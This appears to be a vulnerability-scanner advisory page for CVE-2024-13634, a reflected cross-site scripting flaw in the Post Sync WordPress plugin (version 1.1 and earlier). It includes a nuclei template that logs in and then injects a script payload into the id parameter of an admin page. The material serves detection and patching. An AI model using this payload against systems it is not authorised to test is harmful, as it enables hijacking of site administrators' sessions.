Post Sync Plugin <= 1.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

Post Sync WordPress plugin <= 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=add-site&id=1"></script><script>alert(document.domain)</script><script>
Positive when: contains_all(body, "></script><script>alert(document.domain)</script><script>", "Remote Website Settings") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13634 -u <target>

The full check

id: CVE-2024-13634

info:
  name: Post Sync Plugin <= 1.1 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Post Sync WordPress plugin <= 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/0e60bf74-19fb-441c-85a8-005def36af9a/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13634
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13634
    cwe-id: CWE-79
    epss-score: 0.00621
    epss-percentile: 0.50106
    cpe: cpe:2.3:a:wphobby:post_sync:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wphobby
    product: post_sync
  tags: cve,cve2024,post-sync,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=add-site&id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "></script><script>alert(document.domain)</script><script>", "Remote Website Settings")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from